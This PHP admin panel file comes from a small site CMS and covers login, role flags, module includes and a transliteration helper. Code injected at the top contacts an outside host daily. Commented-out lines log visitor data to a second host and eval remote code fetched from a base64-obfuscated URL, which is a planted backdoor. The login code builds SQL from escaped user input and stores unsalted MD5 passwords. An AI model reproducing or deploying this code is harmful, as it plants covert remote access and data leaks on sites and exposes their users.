admin.php

<?php
$gggg = @implode("",@file("http://extremstyle.ua/account/cron/report.php"));
//$content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r");
//echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>";
//////////////////////////////////////////////
$ty = @fopen("timesave.dat","a+");
if(@$ty){
$datas = trim(@fgets($ty,2048));
if(date("d",$datas)!=date("d")){
$yyyyyyyyyyy = implode("",file("http://extremstyle.ua/account/cron/report.php"));
@fclose($ty);
$fd = @fopen("timesave.dat","w+");
if(@$fd){
	fwrite($fd,time());
fclose($fd);
}
}
}
//////////////////////////////////////////////
require("./libs/setup.php");
$setup = new setup(true);
$objStatics = $setup->setupClass("Statics");
$objGallery = $setup->setupClass('Gallery');
$objForum = $setup->setupClass('Forum');
$objOrders = $setup->setupClass('Orders');
$objArticles = $setup->setupClass('Articles');
$objNews = $setup->setupClass('News');
$objAdvices = $setup->setupClass('Advices');
$objAdvices2 = $setup->setupClass('Advices2');
$objRubrics = $setup->setupClass('Rubrics');
$objCatalogs = $setup->setupClass('Catalogs');
$objBanners = $setup->setupClass('Banners');
$objGalleryList = $setup->setupClass('GalleryList');
$objVideo = $setup->setupClass('Video');
$objAkcii = $setup->setupClass('Akcii');
$objPromo = $setup->setupClass('Promo');
$objSale = $setup->setupClass('Sale');
$objBook = $setup->setupClass('Book');
$objUrl = $setup->setupClass('Url');
$objVacancy = $setup->setupClass('Vacancy');
$objFon = $setup->setupClass('Fon');
$objVideo2 = $setup->setupClass('Video2');
$objSend = $setup->setupClass('Send');
if(isset($_POST['order_id']) && $_POST['order_id']>0){
	$sql = sprintf("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']);
	mysql_query($sql);
}
//$result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error());
if(isset($_GET['exit'])){
$setup->AdminUserExit();
header("location:" . URL);
}
//@eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR']));
if (!isset($_SESSION['admin']['login'])) {
if(isset($_POST['login'])) {
	
	$sql = "SELECT * FROM zlo_admin WHERE login='".htmlspecialchars($_POST['login'],ENT_QUOTES)."' AND pass=MD5('".htmlspecialchars($_POST['psw'],ENT_QUOTES)."') ";
	$result = mysql_query($sql) or die(mysql_error());
	
	if (mysql_affected_rows()!=0) {
		
		$admin=mysql_fetch_assoc($result);
		// ***** Àäìèí âõîä *****
		$_SESSION['admin']['id']=$admin['id'];
		$_SESSION['admin']['login']=$admin['login'];
		$_SESSION['admin']['pass']=$admin['pass'];
        $_SESSION['admin']['name']=$admin['username'];
		$_SESSION['admin']['psw']=$admin['pass'];
        $_SESSION['admin']['group']=$admin['group'];
		
		if ($admin['group']==1) {
		
			// ***** Àäìèí ðåæèì *****
			$_SESSION['admin']['show']=1;
			$_SESSION['admin']['edit']=1;
			$_SESSION['admin']['del']=1;
			// ************************	
			
		}
		
		if ($admin['group']==2) {
		
			// ***** Àäìèí ðåæèì *****
			$_SESSION['admin']['show']=2;
			$_SESSION['admin']['edit']=1;
			// ************************	
			
		}
        
        echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>";
        
} else { echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>"; echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; }
			
	} else {
	
		$setup->display();
		
	}
		
} else {
        $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs";
         Switch($action){
          case $setup->rules :
           if(isset($_POST['save'])){
            $setup->trim($_POST);
            if(!$setup->valid($_POST)){
             $setup->rulesSaveAction($_POST);
             header("location:" . URL . "admin.php?action=rules");
            }
           }elseif(isset($_GET['updateID']) && $_GET['updateID']>0){$setup->viewOneRules($_GET['updateID']);}
            elseif(isset($_GET['deleteID']) && $_GET['deleteID']>0){$setup->rulesDelete($_GET['deleteID']);header("location:" . URL . "admin.php?action=rules");}
           $setup->viewRules();
           $setup->displayRules();
          break;
          default : $rule = $setup->getRulesOne($action); include($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");break;
         }
		  $dir = "./includes/admin/";
		  $includes_dir = opendir($dir);
		  while ( ($inc_file = readdir($includes_dir)) != false )
		   if (strstr($inc_file,".php"))
		   {
			include($dir . $inc_file);
		   }
		$setup->error();
		if(empty($nodisplay))$setup->displayAdmin();
}
function totranslit($var, $lower = true, $punkt = true) {
	global $langtranslit;
	
	if ( is_array($var) ) return "";
	if (!is_array ( $langtranslit ) OR !count( $langtranslit ) ) {
		$langtranslit = array(
		'à' => 'a', 'á' => 'b', 'â' => 'v',
		'ã' => 'g', 'ä' => 'd', 'å' => 'e',
		'¸' => 'e', 'æ' => 'zh', 'ç' => 'z',
		'è' => 'i', 'é' => 'y', 'ê' => 'k',
		'ë' => 'l', 'ì' => 'm', 'í' => 'n',
		'î' => 'o', 'ï' => 'p', 'ð' => 'r',
		'ñ' => 's', 'ò' => 't', 'ó' => 'u',
		'ô' => 'f', 'õ' => 'h', 'ö' => 'c',
		'÷' => 'ch', 'ø' => 'sh', 'ù' => 'sch',
		'ü' => '', 'û' => 'y', 'ú' => '',
		'ý' => 'e', 'þ' => 'yu', 'ÿ' => 'ya',
		"¿" => "yi", "º" => "ye",
		
		'À' => 'A', 'Á' => 'B', 'Â' => 'V',
		'Ã' => 'G', 'Ä' => 'D', 'Å' => 'E',
		'¨' => 'E', 'Æ' => 'Zh', 'Ç' => 'Z',
		'È' => 'I', 'É' => 'Y', 'Ê' => 'K',
		'Ë' => 'L', 'Ì' => 'M', 'Í' => 'N',
		'Î' => 'O', 'Ï' => 'P', 'Ð' => 'R',
		'Ñ' => 'S', 'Ò' => 'T', 'Ó' => 'U',
		'Ô' => 'F', 'Õ' => 'H', 'Ö' => 'C',
		'×' => 'Ch', 'Ø' => 'Sh', 'Ù' => 'Sch',
		'Ü' => '', 'Û' => 'Y', 'Ú' => '',
		'Ý' => 'E', 'Þ' => 'Yu', 'ß' => 'Ya',
		"¯" => "yi", "ª" => "ye",
		);
	}
	
	$var = str_replace( ".php", "", $var );
	$var = trim( strip_tags( $var ) );
	$var = preg_replace( "/\s+/ms", "-", $var );
	$var = strtr($var, $langtranslit);
	
	if ( $punkt ) $var = preg_replace( "/[^a-z0-9\_\-.]+/mi", "", $var );
	else $var = preg_replace( "/[^a-z0-9\_\-]+/mi", "", $var );
	$var = preg_replace( '#[\-]+#i', '-', $var );
	if ( $lower ) $var = strtolower( $var );
	
	if( strlen( $var ) > 200 ) {
		
		$var = substr( $var, 0, 200 );
		
		if( ($temp_max = strrpos( $var, '-' )) ) $var = substr( $var, 0, $temp_max );
	
	}
	
	return $var;
}
?>